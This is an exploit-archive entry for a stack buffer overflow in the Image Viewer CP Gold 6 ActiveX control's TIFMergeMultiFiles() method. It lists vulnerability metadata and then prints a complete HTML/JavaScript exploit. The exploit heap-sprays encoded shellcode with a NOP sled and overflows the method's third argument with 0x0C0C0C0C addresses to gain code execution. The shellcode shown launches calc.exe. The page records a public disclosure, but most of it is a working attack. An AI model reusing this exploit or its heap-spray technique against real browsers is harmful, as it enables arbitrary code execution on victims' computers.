Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit

vendor:

Image Viewer CP Gold 6

by:

Dr_IDE

9,3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Image Viewer CP Gold 6

Affected Version From: Image Viewer CP Gold 6

Affected Version To: Image Viewer CP Gold 6

Patch Exists: NO

Related CWE: (0day)

CPE: a:viscom_software:image_viewer_cp_gold_6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 IE7

0day

Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit

Image Viewer CP Gold 6 ActiveX contains a buffer overflow vulnerability in the TIFMergeMultiFiles() method. An attacker can exploit this vulnerability by passing a large string of data to the second argument of the TIFMergeMultiFiles() method. This will cause a stack-based buffer overflow, overwriting the return address and allowing arbitrary code execution.

Mitigation:

No known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

<html>
<!--
Exploit Title:	Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://www.viscom.com
Greets: 	bz1p, bz1p@bshellz.net for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
-->
<object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">
<param NAME="LPKPath" VALUE="imageviewer.lpk"></object>
<object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");

arg2=String("abcd");

target.TIFMergeMultiFiles(arg2, arg2, ret);
</script>
</html>